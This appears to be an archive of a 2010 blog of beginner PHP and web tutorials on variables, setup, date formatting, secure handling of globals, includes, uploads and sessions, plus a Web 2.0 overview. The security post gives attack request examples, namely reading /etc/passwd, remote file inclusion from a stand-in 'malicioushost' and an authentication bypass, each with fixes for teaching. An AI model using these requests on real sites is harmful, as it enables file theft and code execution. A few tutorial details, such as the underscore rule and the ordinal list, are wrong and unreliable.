Friday, October 01, 2010

PHP Variables

A variable is just a storage area. You put things into your storage areas (variables) so that you can use and manipulate them in your programmes. Things you'll want to store are numbers and text.

If you're ok with the idea of variables, then you can move on. If not, think of them like this. Suppose you want to catalogue your clothing collection. You enlist two people to help you, a man and a woman. These two people are going to be your storage areas. They are going to hold things for you, while you tally up what you own. The man and the woman, then, are variables.

You count how many coats you have, and then give these to the man. You count how many shoes you have, and give these to the woman. Unfortunately, you have a bad memory. The question is, which one of your people (variables) holds the coats and which one holds the shoes? To help you remember, you can give your people names! You could call them something like this:

mr_coats

mrs_shoes

But it's entirely up to you what names you give your people (variables). If you like, they could be called this:

man_coats

woman_shoes

or

HimCoats

HerShoes

But because your memory is bad, it’s best to give them names that help you remember what it is they are holding for you. (There are some things your people balk at being called. You can't begin their names with an underscore (_), or a number. But most other characters are fine.)

OK, so your people (variables) now have name. But it's no good just giving them a name. They are going to be doing some work for you, so you need to tell them what they will be doing. The man is going to be holding the coats. But we can specify how many coats he will be holding. If you have ten coats to give him, then you do the "telling" like this:

mr_coats = 10

So, the variable name comes first, then an equals sign. After the equals sign, you tell your variable what it will be doing. Holding the number 10, in our case. (The equals sign, by the way, is not really an equals sign. It's called an assignment operator. But don't worry about it, at this stage. Just remember that you need the equals sign to store things in your variables.)

However, you’re learning PHP, so there's something missing. Two things, actually. First, your people (variables) need a dollar sign at the beginning (people are like that). So it would be this:

$mr_coats = 10

If you miss the dollar sign out, then your people will refuse to work! But the other thing missing is something really picky and fussy - a semi-colon. Lines of code in PHP need a semi-colon at the end:

$mr_coats = 10;

If you get any parse errors when you try to run your code, the first thing to check is if you've missed the semi-colon off the end. It's very easy to do, and can be frustrating. The next thing to check is if you've missed out a dollar sign. But back to our people (variables)

So the man is holding ten coats. We can do the same thing with the other person (variable):

$mrs_shoes = 25;

So, $mrs_shoes is holding a value of 25. If we then wanted to add up how many items of clothes we have so far, we could set up a new variable (Note the dollar sign at the begining of the new variable):

$total_clothes

We can then add up the coats and the shoes. You add up in PHP like this:

$total_clothes = $mr_coats + $mrs_shoes;

Remember, $mr_coats is holding a value of 10, and $mrs_shoes is holding a value of 25. If you use a plus sign, PHP thinks you want to add up. So it will work out the total for you. The answer will then get stored in our new variable, the one we've called $total_clothes. You can also add up like this:

$total_clothes = 10 + 35;

Again, PHP will see the plus sign and add the two together for you. Of course, you can add up more than two items:

$total_clothes = 10 + 35 + 7 + 38 + 125;

But the idea is the same - PHP will see plus signs and then add things up. The answer is then stored in your variable name, the one to the left of the equals sign.

PHP variables Strings:

Putting Text into Variables:

you can also put text into your variables. Suppose you want to know something about the coats you own. Are they Winter coats? Jackets? Summer coats? You decide to catalogue this, as well. You can put direct text into your variables. You do it in a similar way to storing numbers:

$coats1 = "Winter Coats";

Again, our variable name starts with a dollar sign ($). We've then given it the name coats1. The equals sign follows the variable name. After the equals sign, however, we have direct text - Winter Coats. But notice the double quotation marks around our text. If you don't surround your direct text with quotation marks, then you'll get errors. You can, however, use single quotes instead of double quotes. So you can do this:

$coats1 = 'Winter Coats';

But you can't do this:

$coats1 = 'Winter Coats";

In the above line, we've started with a single quote and ended with a double quote. This will get you an error.

We can store other text in the same way:

$coats2 = "Jackets";

$coats3 = "Summer Coats";

The direct text will then get stored in the variable to the left of the equals sign.

So, to recap, variables are storage areas. You use these storage areas to manipulate things like text and numbers. You'll be using variables a lot, and on the next few pages you'll see how they work in practice.

Testing variables with PHP:

First, we'll take a look at how to display what's in your variables. We're going to be viewing our results on a web page. So see if you can get this script working first, because it's the one we'll be building on. Using a text editor like Notepad, or your PHP software, type the following. (You can copy and paste it, if you prefer. But you learn more by typing it out yourself - it doesn't really sink in unless you're making mistakes!)

How to get started with PHP.

Before you can write and test your PHP scripts, there's one thing you'll need - a server! Fortunately, you don't need to go out and buy one. In fact, you won't be spending any extra money. That's why PHP is so popular! But because PHP is a server-sided scripting language, you either have to get some web space with a hosting company that supports PHP, or make your computer pretend that it has a server installed. This is because PHP is not run on your PC - it's executed on the server. The results are then sent back to the client PC (your computer).

Don't worry if this all sounds a little daunting - we've come across an easier way to get you up and running. We're going to be using some software called "EasyPHP". This allows you to test your PHP scripts on your own computer. Over a million people have downloaded this software. It installs everything you need, if you have a Windows PC (Win9x/Me/NT/2000/XP). We'll explain how to get it installed in a moment, and where to get it from.

Apple Users

If you have OS X, then try this site to get up and running with PHP:

http://www.onlamp.com/pub/a/mac/2001/12/07/apache.html

What you're doing here is getting the apache server up and running, so that you can run PHP scripts offline. Pay particular attention to where files are stored, and to the "localhost" address.

Linux Users

There are quite a few sites out there to help Linux users get up and running with the Apache server and PHP. Here are two sites that are worth checking out:

http://www.e-gineer.com/v1/instructions/install-php4x-for-apache1xx-on-linux.htm

http://www.phpfreaks.com/tutorials/12/0.php

If you know any better ones, we'd be interested in hearing from you!

Windows Users

OK, back to Easy PHP and Windows. First, you need to download the software. You can get it from here (this site is nothing to do with ours, by the way):

Be sure to click the link for Installation Guide, as well as the link for Downloads. The file you need to download is EasyPHP. Once you have downloaded the file, double click to install. To see if everything is up and running correctly, move on to the next part of this tutorial.

http://www.easyphp.org/

Be sure to click the link for Installation Guide, as well as the link for Downloads. The file you need to download is EasyPHP. Once you have downloaded the file, double click to install.


What is PHP? Why do we need it?

PHP is the most popular scripting language on the web. It is used to enhance web pages. With PHP, you can do things like create username and password login pages, check details from a form, create forums, picture galleries, surveys, and a whole lot more. If you've come across a web page that ends in PHP, then the author has written some programming code to liven up the plain, old HTML.

PHP is known as a server-sided language. That's because the PHP doesn't get executed on your computer, but on the computer you requested the page from. The results are then handed over to you, and displayed in your browser. Other scripting languages you may have heard of are ASP, Python and Perl. (You don't need to know any of these to make a start on PHP. In fact, these tutorials assume that you have no programming experience at all.)

The most popular explanation of just what PHP stands for is "Hypertext Pre-processor". But that would make it HPP, surely? An alternative explanation comes from the emarketing network dictionary (http://www.marketing.org .nz/emarket_ dictionary.php), and we prefer this version! They say: "The initials come from the earliest version of the program, which was called 'Personal Home Page Tools' ". At least you get the letters "PHP" in the right order!

But PHP is so popular that if you're looking for a career in the web design/web scripting industry then you just have to know it! In these tutorials, we'll get you up and running. And, hopefully, it will be a lot easier than you think.

Wednesday, September 29, 2010

Displaying Date and Time

The date and time we will show how to display in this tutorial is the
one specified by the server which is hosting our pages. In case you want to display a different date or time (p. e., your clients are mostly from Belgium but your server is located in US and you want to display the local time in Belgium) you will find how to do it latter on this page.

In the table bellow we have include the PHP code necessary to display one by one all the time and date related information. By copying the code in the first column to your page you will get the data which is explained inthe third column. The column in the middle is the value of those
data the day we were preparing this page.

CodeOutput
<?php print date("a");
?>
pm"am" or "pm"
<?php print date("A"); ?>PM"AM" or "PM"
<?php print date("d"); ?>15Day of the month: 01 to 31
<?php print date("D"); ?>TueDay of the week: Sun, Mon, Tue, Wed, Thu, Fri, Sat
<?php print date("F"); ?>OctoberMonth: January, February, March...
<?php print date("h"); ?>03Hour: 01 to 12
<?php print date("H"); ?>15Hour: 00 to 23
<?php print date("g"); ?>3Hour: 1 to 12
<?php print date("G"); ?>15Hour: 0 to 23
<?php print date("i"); ?>26Minutes: 00 to 59
<?php print date("j"); ?>15Day of the month: 1 to 31
<?php print date("l"); ?>TuesdayDay of the week: Sunday, Monday, Tuesday...
<?php print date("L"); ?>0Is it a leap year? 1 (yes) or 0 (no)
<?php print date("m"); ?>10Month: 01 to 12
<?php print date("n"); ?>10Month: 1 to 12
<?php print date("M"); ?>OctMonth: Jan, Feb, Mar, Apr, May...
<?php print date("s"); ?>03Seconds: 00 to 59
<?php print date("S"); ?>thOrdinal: 1st, 2st, 3st, 4st...
Need
to be used with a numeric time/date value. See latter.
<?php print date("t"); ?>31Number of days in the month: 28 to 31
<?php print date("U"); ?>1034691963 Seconds since 1970/01/01 00:00:00
<?php print date("w"); ?>2Day of the week: 0 (Sunday) to 6 (Saturday)
<?php print date("Y"); ?>2002Year (four digits)
<?php print date("y"); ?>02Year (two digits)
<?php print date("z"); ?>287Day of the year: 0 to 365
<?php print date("Z"); ?>-21600Difference in seconds from Greenwhich meridian

As shown in the table the commands we are using in all case are "print" (in order to show the values to the visitor) and "date" (which will allow us to get the data corresponding to the string code we are using between brakets). So we already know how to obtain the data and how to show it in our page, but if we want to display different values simultaneously, we have at least three option:


The code
Output
<?php print
date("Y"); ?>:<?php print date("m");
?>: <?php print date("d"); ?>
2002:10:15
<?php print
date("Y").":".date("m").":".date("d");
?>
2002:10:15
<?php print
date("Y:m:d"); ?>
2002:10:15

The first option is very easy to understand (we have just copied the code from the table one by one). The second option concatenates the data basically in the same way, and the third one is probably the most useful system, but the one we must understand before using it. Command "date" will get the data we want to display, and that data is specified by the string used within data (in our case: "Y:m:d"). Each character in this string may or may not have a meaning depending upon there is or there is not a value asociate with that letter (see the first table in this
page). In our case some characters will be replaced by its corresponding value:

Y
:
m
:
d
Year (four digits)
no meaning
Month: 01 to 12
no meaning
Day of the month: 01 to 31

Check this usefull examples:

The code
Output
<?php print
date("Y:m:d H:i") ?>
2002:10:15 15:26
<?php print
date("l dS of F Y h:i:s A"); ?>
Tuesday 15th of October 2002 15:26:03 PM
The time is <?php print
date("H:i") ?>.
That means it's <?php print date("i") ?>
minutes past <?php print date("H") ?> o'clock.

The time is 15:26. That means it's 26 minutes past 15 o'clock.


Take care when using date command or you may get unwanted data as shown in the first row in the table bellow (use the code in second row instead):

The code
Output
Character with meaning
<?php print
date("Today is l"); ?>
WETo15pm02 2603 Tuesday The following characters have a meaning: T, d,
a,
y, i, s, l
<?php print
"Today is ".date("l"); ?>
Today is TuesdayOnly data asociated to "l" (day of the week) is
requested
What if you wanted to have a link that points to a different page every day of the week? Here's how you can do that. First, create one page for each day of the week and name them "Sunday.htm," "Monday.htm," and so on.

To make the link, copy the code bellow to your page

<a href= <?php print

date("l"); ?>.htm>Link
of the Day</a>


Place the code in your ".php" page where you want it to appear. When you click this link in your browser, it will take you to the "Link of the Day".

Using "S" with date comand.

Lets suppose we are using the code bellow in different consecutive days:


Day
Code
Output
2002/01/01
<? php print
date("nS of F"); ?>
1st of January
2002/01/02
<? php print
date("nS of F"); ?>
2nd of January
2002/01/03
<? php print
date("nS of F"); ?>
3rd of January
2002/01/04
<? php print
date("nS of F"); ?>
4th of January
The "S" character included within command date will allow us to show "st", "nd", "rd" or "th" values depending on the number preceding the character "S".

Displaying local time

In this tutorial we will consider our server is located in a

different time zone from the one our clients are located at (a Belgium related
site is in a server located is USA for example).

First we must know the time in the server. We will create a text

file with the code bellow, and we will copy it to our server:

Time in server: <?php print
date("H:i") ?>

Then we will visit our page and we will get the time in the server.

Let suppose the time is 16:00

Second, we will calculate the difference in hours between local time

and the time in server. Let suppose the time in Belgium is 20:00, so the
difference is 4 hours.
To get the local time we will use the code in the table bellow:

<?php
$differencetolocaltime=4;
$new_U=date("U")-$differencetolocaltime*3600;
print date("H:i", $new_U);
?>
Lets explain this code:
  • We have create a variable named $differencetolocaltime, and we
  • have stablish the value for this variable (4)
  • In third line of the script we have create a variable named
  • $new_U,
    and the value for this variable will be 'date("U")' (Seconds since 1970/01/01 00:00:00) to which we have substracted the difference of hours between the two time zones (in our case 4 hours, which is the value for the variable $differencetolocaltime, has been multiplied by 3600, which is
    the number of seconds in one hour)
  • In the last step we have write to the document the new hour and
  • time by using "date" command to which we have let know the exact date (specified
    by $new_U) from which we want to get the time (if it is not specified,
    as for example when using 'date("H:i")', the time and date in the server will
    be displayed as shown before in this page).

    Tuesday, September 28, 2010

    PHP Global Variables

    Global variables

    1. Introduction

    Variables declared outside of functions are considered global by PHP. The opposite is that a variable declared inside a function, is considered to be in local function scope.

    PHP handles global variables quite differently compared to languages like C. In C a global variable is always available in local scope as well as global, as long as it is not overridden by a local definition. In PHP things are different; to access a global variable from local scope you have to declare it global in that scope. The following example shows this:

    $sTitle = 'Page title'; // Global scope

    function printTitle()

    {

    global $sTitle; // Declare the variable as global

    echo $sTitle; // Now we can access it just like it was a local variable

    }

    All variables in PHP are represented by a dollar sign followed by the name of the variable. The names are case-sensitive and must start with a letter or underscore, followed by any number of letters, numbers, or underscores.

    2. register_globals

    The register_globals directive makes input from GET, POST and COOKIE, as well as session variables and uploaded files, directly accessible as global variables in PHP. This single directive, if set in php.ini, is the root of many vulnerabilities in web applications.

    Let's start by having a look at an example:

    if ( $bIsAlwaysFalse )

    {

    // This is never executed:

    $sFilename = 'somefile.php';

    }

    ...

    if ( $sFilename != '' )

    {

    // Open $sFilename and send it's contents to the browser

    ...

    }

    If we were to call this page like: page.php?sFilename=/etc/passwd with register_globals set, it would be the same as to write the following:

    $sFilename = '/etc/passwd'; // This is done internally by PHP

    if ( $bIsAlwaysFalse )

    {

    // This is never executed:

    $sFilename = 'somefile.php';

    }

    ...

    if ( $sFilename != '' )

    {

    // Open $sFilename and send it's contents to the browser

    ...

    }

    PHP takes care of the $sFilename = '/etc/passwd'; part for us. What this means is that a malicious user could inject his/her own value for $sFilename and view any file readable under the current security context.

    We should always; I say that again, we should always think of that "what if" when writing code. So turning off register_globals might be a solution but what if our code ends up on a server with register_globals on. We must bear in mind that all variables in global scope could have been tampered with. The correct way to write the above code would be to make sure that we always assign a value to $sFilename:

    // We initialize $sFilename to an empty string

    $sFilename = '';

    if ( $bIsAlwaysFalse )

    {

    // This is never executed:

    $sFilename = 'somefile.php';

    }

    ..

    if ( $sFilename != '' )

    {

    // Open $sFilename and send it's contents to the browser

    ...

    }

    Another solution would be to have as little code as possible in global scope. Object oriented programming (OOP) is a real beauty when done right and I would highly recommend you to take that approach. We could write almost all our code in classes which is generally safer and promotes reuse.

    Like we never should assume that register_globals is off we should never assume it is on. The correct way to get input from GET, POST, COOKIE etc is to use the superglobals that were added in PHP version 4.1.0. These are the $_GET, $_POST, $_ENV, $_SERVER, $_COOKIE, $_REQUEST $_FILES, and $_SESSION arrays. The term superglobals is used since they are always available without regard to scope.

    3. Includes and Remote files

    The PHP functions include() and require() provides an easy way of including and evaluating files. When a file is included, the code it contains inherits the variable scope of the line on which the include statement was executed. All variables available at that line will be available within the included file. And the other way around, variables defined in the included file will be available to the calling page within the current scope.

    The included file does not have to be a file on the local computer. If the allow_url_fopen directive is enabled in php.ini you can specify the file to be included using an URL. That is PHP will get it via HTTP instead of a local pathname. While this is a nice feature it can also be a big security risk. Note: The allow_url_fopen directive is enabled by default.

    A common mistake is not considering that every file can be called directly, that is a file written to be included is called directly by a malicious user. An example:

    // file.php

    $sIncludePath = '/inc/';

    include($sIncludePath . 'functions.php');

    ...

    // functions.php

    include($sIncludePath . 'datetime.php');

    include($sIncludePath . 'filesystem.php');

    In the above example functions.php is not meant to be called directly, so it assumes $sIncludePath is set by the calling page. By creating a file called datetime.php or filesystem.php on another server (and turning off PHP processing on that server) we could call functions.php like the following:

    functions.php?sIncludePath=http://malicioushost/

    PHP would nicely download datetime.php from the other server and execute it, which means a malicious user could execute code of his/her choice in functions.php.

    I would recommend against includes within includes (as the example above). In my opinion it makes it harder to understand and get an overview of the code. But right now we want to make the above code safe and to do that we make sure that functions.php really is called from file.php. The code below shows one solution:

    // file.php

    define('SECURITY_CHECK', true);

    $sIncludePath = '/inc/';

    include($sIncludePath . 'functions.php');

    ...

    // functions.php

    if ( !defined('SECURITY_CHECK') )

    {

    // Output error message and exit.

    exit('Security check failed.')

    }

    include($sIncludePath . 'datetime.php');

    include($sIncludePath . 'filesystem.php');

    The function define() defines a constant. Constants are not prefixed by a dollar sign ($) and thus we can not break this by something like: functions.php?SECURITY_CHECK=1

    Although not so common these days you can still come across PHP files with the .inc extension. These files are only meant to be included by other files. What is often overlooked is that these files, if called directly, does not go through the PHP preprocessor and thus get sent in clear text. We should be consistent and stick with one extension that we know gets processed by PHP. The .php extension is the recommended.

    4. File upload

    PHP is a feature rich language and one of it is built in features is automatic handling of file uploads. When a file is uploaded to a PHP page it is automatically saved to a temporary directory. New global variables describing the uploaded file will be available within the page.

    Consider the following HTML code presenting a user with an upload form:

    <form action="page.php" method="POST" enctype="multipart/form-data">

    <input type="file" name="testfile" />

    <input type="submit" value="Upload file" />

    </form>

    After submitting the above form, new variables will be available to page.php based on the "testfile" name.

    Variables set by PHP and what they will contain:

    // A temporary path/filename generated by PHP. This is where the file is saved until we

    // move it or it is removed by PHP if we choose not to do anything with it:

    $testfile

    // The original name/path of the file on the client's system:

    $testfile_name

    // The size of the uploaded file in bytes:

    $testfile_size

    // The mime type of the file if the browser provided this information. For example "image/jpeg":

    $testfile_type

    A common approach is to check if $testfile is set and if it is, start working on it right away, maybe copying it to a public directory, accessible from any browser. You probably already guessed it; this is a very insecure way of working with uploaded files. The $testfile variable does not have to be a path/file to an uploaded file. It could come from GET, POST, and COOKIE etc. A malicious user could make us work on any file on the server, which is not very pleasant.

    First of all, like I mentioned before we should not assume anything about the register_globals directive, it could be on or off for all we care, our code should work with or without it and most importantly it will be just as secure regardless of configuration settings. So the first thing we should do is to use the $_FILES array:

    // The temporary filename generated by PHP:

    $_FILES['testfile']['tmp_name']

    // The original name/path of the file on the client's system:

    $_FILES['testfile']['name']

    // The mime type of the file if the browser provided this information. For example "image/jpeg":

    $_FILES['testfile']['type']

    // The size of the uploaded file in bytes:

    $_FILES['testfile']['size']

    The built in functions is_uploaded_file() and/or move_uploaded_file() should be called with $_FILES['testfile']['tmp_name'] to make sure that the file really was uploaded by HTTP POST. The following example shows a straightforward way of working with uploaded files:

    if ( is_uploaded_file($_FILES['testfile']['tmp_name']) )

    {

    // Check if the file size is what we expect (optional)

    if ( $_FILES['testfile']['size'] > 102400 )

    {

    // The size can not be over 100kB, output error message and exit.

    ...

    }

    // Validate the file name and extension based on the original name in $_FILES['testfile']['name'],

    // we do not want anyone to be able to upload .php files for example.

    ...

    // Everything is okay so far, move the file with move_uploaded_file

    ...

    }

    Note: We should always check if a variable in the superglobals arrays is set with isset() before accessing it. I choose not to do that in the above examples because I wanted to keep them as simple as possible.

    5. Sessions

    Sessions in PHP is a way of saving user specific variables or "state" across subsequent page requests. This is achieved by handing a unique session id to the browser which the browser submits with every new request. The session is alive as long as the browser keeps sending the id with every new request and not to long time passes between requests.

    The session id is generally implemented as a cookie but it could also be a value passed in the URL. Session variables are saved to files in a directory specified in php.ini, the filenames in this directory are based on the session ids. Each file will contain the variables for that session in clear text.

    First we are going to look at the old and insecure way of working with sessions; unfortunately this way of working with sessions is still widely used.

    // first.php

    // Initialize session management

    session_start();

    // Authenticate user

    if ( ... )

    {

    $bIsAuthenticated = true;

    }

    else

    {

    $bIsAuthenticated = false;

    }

    // Register $bIsAuthenticated as a session variable

    session_register('bIsAuthenticated');

    echo 'To second page';

    // second.php

    // Initialize session management

    session_start();

    // $bIsAuthenticated is automatically set by PHP

    if ( $bIsAuthenticated )

    {

    // Display sensitive information

    ...

    }

    Why is this insecure? It is insecure because a simple second.php?bIsAuthenticated=1 would bypass the authentication in first.php.

    session_start() is called implicitly by session_register() or by PHP if the session.auto_start directive is set in php.ini (defaults to off). However to be consistent and not to rely on configuration settings we always call it for ourselves.

    The recommend way of working with sessions:

    // first.php

    // Initialize session management

    session_start();

    // Authenticate user

    if ( ... )

    {

    $_SESSION['bIsAuthenticated'] = true;

    }

    else

    {

    $_SESSION['bIsAuthenticated'] = false;

    }

    echo 'To second page';

    // second.php

    // Initialize session management

    session_start();

    if ($_SESSION['bIsAuthenticated'] )

    {

    // Display sensitive information

    ...

    }

    Not only is the above code more secure it is also, in my opinion, much cleaner and easier to understand.

    Note: On multi host system remember to secure the directory containing the session files, otherwise users might be able to create custom session files for other sites.

    Monday, February 01, 2010

    What is WEB2.0?

    The term "Web 2.0" (2004–present) is commonly associated with web applications that facilitate interactive information sharing, interoperability, user-centered design,and collaboration on the World Wide Web. Examples of Web 2.0 include web-based communities, hosted services, web applications, social-networking sites, video-sharing sites, wikis, blogs, mashups, and folksonomies. A Web 2.0 site allows its users to interact with other users or to change website content, in contrast to non-interactive websites where users are limited to the passive viewing of information that is provided to them.

    The term is closely associated with Tim O'Reilly because of the O'Reilly Media Web 2.0 conference in 2004. Although the term suggests a new version of the World Wide Web, it does not refer to an update to any technical specifications, but rather to cumulative changes in the ways software developers and end-users use the Web. Whether Web 2.0 is qualitatively different from prior web technologies has been challenged by World Wide Web inventor Tim Berners-Lee, who called the term a "piece of jargon" — precisely because he intended the Web to embody these values in the first place.


    History: From Web 1.0 to 2.0:

    The term "Web 2.0" was coined in 1999 by Darcy DiNucci. In her article, "Fragmented Future," DiNucci writes:

    The Web we know now, which loads into a browser window in essentially static screenfulls, is only an embryo of the Web to come. The first glimmerings of Web 2.0 are beginning to appear, and we are just starting to see how that embryo might develop. The Web will be understood not as screenfulls of text and graphics but as a transport mechanism, the ether through which interactivity happens. It will [...] appear on your computer screen, on your TV set your car dashboard your cell phone [...] hand-held game machines [...] maybe even your microwave oven.

    Her use of the term deals mainly with Web design and aesthetics; she argues that the Web is "fragmenting" due to the widespread use of portable Web-ready devices. Her article is aimed at designers, reminding them to code for an ever-increasing variety of hardware. As such, her use of the term hints at – but does not directly relate to – the current uses of the term.

    The term did not resurface until 2003. These authors focus on the concepts currently associated with the term where, as Scott Dietzen puts it, "the Web becomes a universal, standards-based integration platform".

    In 2004, the term began its rise in popularity when O'Reilly Media and MediaLive hosted the first Web 2.0 conference. In their opening remarks, John Batelle and Tim O'Reilly outlined their definition of the "Web as Platform", where software applications are built upon the Web as opposed to upon the desktop. The unique aspect of this migration, they argued, is that "customers are building your business for you".[10] They argued that the activities of users generating content (in the form of ideas, text, videos, or pictures) could be "harnessed" to create value.

    O'Reilly et al. contrasted Web 2.0 with what they called "Web 1.0". They associated Web 1.0 with the business models of Netscape and the Encyclopedia Britannica Online. For example,


    Netscape framed "the web as platform" in terms of the old software paradigm: their flagship product was the web browser, a desktop application, and their strategy was to use their dominance in the browser market to establish a market for high-priced server products. Control over standards for displaying content and applications in the browser would, in theory, give Netscape the kind of market power enjoyed by Microsoft in the PC market. Much like the "horseless carriage" framed the automobile as an extension of the familiar, Netscape promoted a "webtop" to replace the desktop, and planned to populate that webtop with information updates and applets pushed to the webtop by information providers who would purchase Netscape servers.


    In short, Netscape focused on creating software, updating it on occasion, and distributing it to the end users. O'Reilly contrasts this with Google, a company which does not focus on producing software such as a browser but instead focuses on providing a service based on data. The data here, of course, are the links Web page authors make between sites. Google exploits this user-generated content to offer Web search based on reputation through its "Page Rank" algorithm. Unlike software, which undergoes scheduled releases, a service such as Google is constantly updated, a process called "the perpetual beta".


    A similar difference can be seen between the Encyclopedia Britannica Online and Wikipedia: while the Britannica relies upon experts to create articles and releases them periodically in publications, Wikipedia relies on radical trust in anonymous users to constantly and quickly build content. Wikipedia is not based on expertise but rather an adaptation of the open source software adage "given enough eyeballs, all bugs are shallow", and it produces and updates articles constantly.

    O'Reilly's Web 2.0 conferences have been held every year since 2004, attracting entrepreneurs, large companies, and technology reporters. In terms of the lay public, the term Web 2.0 was largely championed by bloggers and by technology journalists, culminating in the 2006 TIME magazine Person of The Year – "You". That is, TIME selected the masses of users who were participating in content creation on social networks, blogs, wikis, and media sharing sites. The cover story author Lev Grossman explains:


    It's a story about community and collaboration on a scale never seen before. It's about the cosmic compendium of knowledge Wikipedia and the million-channel people's network YouTube and the online metropolis MySpace. It's about the many wresting power from the few and helping one another for nothing and how that will not only change the world, but also change the way the world changes.


    Since that time, Web 2.0 has found a place in the lexicon; the Global Language Monitor recently declared it to be the one-millionth English word.


    Technology overview:

    Web 2.0 draws together the capabilities of client- and server-side software, content syndication and the use of network protocols. Standards-oriented web browsers may use plug-ins and software extensions to handle the content and the user interactions. Web 2.0 sites provide users with information storage, creation, and dissemination capabilities that were not possible in the environment now known as "Web 1.0".

    Web 2.0 websites typically include some of the following features and techniques. Andrew McAfee used the acronym SLATES to refer to them:


    Search:

    Finding information through keyword search.


    Links:

    Connects information together into a meaningful information ecosystem using the model of the Web, and provides low-barrier social tools.


    Authoring:

    The ability to create and update content leads to the collaborative work of many rather than just a few web authors. In wikis, users may extend, undo and redo each other's work. In blogs, posts and the comments of individuals build up over time.


    Tags:

    Categorization of content by users adding "tags" - short, usually one-word descriptions = to facilitate searching, without dependence on pre-made categories. Collections of tags created by many users within a single system may be referred to as "folksonomies" (i.e., folk taxonomies).


    Extensions:

    Software that makes the Web an application platform as well as a document server.


    Signals:

    The use of syndication technology such as RSS to notify users of content changes.


    While SLATES forms the basic framework of Enterprise 2.0, it does not contradict all of the higher level Web 2.0 design patterns and business models. And in this way, the new Web 2.0 report from O'Reilly is quite effective and diligent in interweaving the story of Web 2.0 with the specific aspects of Enterprise 2.0. It includes discussions of self-service IT, the long tail of enterprise IT demand, and many other consequences of the Web 2.0 era in the enterprise. The report also makes many sensible recommendations around starting small with pilot projects and measuring results, among a fairly long list.


    How it works:

    The client-side/web browser technologies typically used in Web 2.0 development are Asynchronous JavaScript and XML (Ajax), Adobe Flash and the Adobe Flex framework, and JavaScript/Ajax frameworks such as Yahoo! UI Library, Dojo Toolkit, MooTools, and jQuery. Ajax programming uses JavaScript to upload and download new data from the web server without undergoing a full page reload.


    To permit the user to continue to interact with the page, communications such as data requests going to the server are separated from data coming back to the page (asynchronously). Otherwise, the user would have to routinely wait for the data to come back before they can do anything else on that page, just as a user has to wait for a page to complete the reload. This also increases overall performance of the site, as the sending of requests can complete quicker independent of blocking and queueing required to send data back to the client.


    The data fetched by an Ajax request is typically formatted in XML or JSON (JavaScript Object Notation) format, two widely used structured data formats. Since both of these formats are natively understood by JavaScript, a programmer can easily use them to transmit structured data in their web application. When this data is received via Ajax, the JavaScript program then uses the Document Object Model (DOM) to dynamically update the web page based on the new data, allowing for a rapid and interactive user experience. In short, using these techniques, Web designers can make their pages function like desktop applications. For example, Google Docs uses this technique to create a Web-based word processor.


    Adobe Flex is another technology often used in Web 2.0 applications. Compared to JavaScript libraries like jQuery, Flex makes it easier for programmers to populate large data grids, charts, and other heavy user interactions. Applications programmed in Flex, are compiled and displayed as Flash within the browser. As a widely available plugin independent of W3C (World Wide Web Consortium, the governing body of web standards and protocols), standards, Flash is capable of doing many things which are not currently possible in HTML, the language used to construct web pages. Of Flash's many capabilities, the most commonly used in Web 2.0 is its ability to play audio and video files. This has allowed for the creation of Web 2.0 sites such as YouTube, where video media is seamlessly integrated with standard HTML.


    In addition to Flash and Ajax, JavaScript/Ajax frameworks have recently become a very popular means of creating Web 2.0 sites. At their core, these frameworks do not use technology any different from JavaScript, Ajax, and the DOM. What frameworks do is smooth over inconsistencies between web browsers and extend the functionality available to developers. Many of them also come with customizable, prefabricated 'widgets' that accomplish such common tasks as picking a date from a calendar, displaying a data chart, or making a tabbed panel.


    On the server side, Web 2.0 uses many of the same technologies as Web 1.0. Languages such as PHP, Ruby, ColdFusion, Perl, Python, and ASP are used by developers to dynamically output data using information from files and databases. What has begun to change in Web 2.0 is the way this data is formatted. In the early days of the Internet, there was little need for different websites to communicate with each other and share data. In the new "participatory web", however, sharing data between sites has become an essential capability. To share its data with other sites, a web site must be able to generate output in machine-readable formats such as XML, RSS, and JSON. When a site's data is available in one of these formats, another website can use it to integrate a portion of that site's functionality into itself, linking the two together. When this design pattern is implemented, it ultimately leads to data that is both easier to find and more thoroughly categorized, a hallmark of the philosophy behind the Web 2.0 movement.


    Usage:

    The popularity of the term Web 2.0, along with the increasing use of blogs, wikis, and social networking technologies, has led many in academia and business to coin a flurry of 2.0s, including Library 2.0, Social Work 2.0, Enterprise 2.0, PR 2.0, Classroom 2.0, Publishing 2.0, Medicine 2.0, Telco 2.0, Travel 2.0, Government 2.0, and even Porn 2.0. Many of these 2.0s refer to Web 2.0 technologies as the source of the new version in their respective disciplines and areas. For example, in the Talis white paper "Library 2.0: The Challenge of Disruptive Innovation", Paul Miller argues Blogs, wikis and RSS are often held up as exemplary manifestations of Web 2.0. A reader of a blog or a wiki is provided with tools to add a comment or even, in the case of the wiki, to edit the content. This is what we call the Read/Write web.Talis believes that Library 2.0 means harnessing this type of participation so that libraries can benefit from increasingly rich collaborative cataloguing efforts, such as including contributions from partner libraries as well as adding rich enhancements, such as book jackets or movie files, to records from publishers and others.


    Here, Miller links Web 2.0 technologies and the culture of participation that they engender to the field of library science, supporting his claim that there is now a "Library 2.0". Many of the other proponents of new 2.0s mentioned here use similar methods.


    Web 3.0:

    Not much time passed before "Web 3.0" was coined. Definitions of Web 3.0 vary greatly. among other things, about the Semantic Web and personalization. Andrew Keen, author of The Cult of the Amateur, considers the Semantic Web an "unrealisable abstraction" and sees Web 3.0 as the return of experts and authorities to the Web. For example, he points to Bertelsman's deal with the German Wikipedia to produce an edited print version of that encyclopedia. CNN Money's Jessi Hempel expects Web 3.0 to emerge from new and innovative Web 2.0 services with a profitable business model.


    Web-based applications and desktops:

    Ajax has prompted the development of websites that mimic desktop applications, such as word processing, the spreadsheet, and slide-show presentation. WYSIWYG wiki sites replicate many features of PC authoring applications. In 2006 Google, Inc. acquired one of the best-known sites of this broad class, Writely.


    Several browser-based "operating systems" have emerged, including EyeOS and YouOS. Although coined as such, many of these services function less like a traditional operating system and more as an application platform. They mimic the user experience of desktop operating-systems, offering features and applications similar to a PC environment, as well as the added ability of being able to run within any modern browser. However, these operating systems do not control the hardware on the client's computer.


    Numerous web-based application services appeared during the dot-com bubble of 1997–2001 and then vanished, having failed to gain a critical mass of customers. In 2005, WebEx acquired one of the better-known of these, Intranets.com, for $45 million.


    Internet applications:

    Main article: Rich Internet application

    XML and RSS


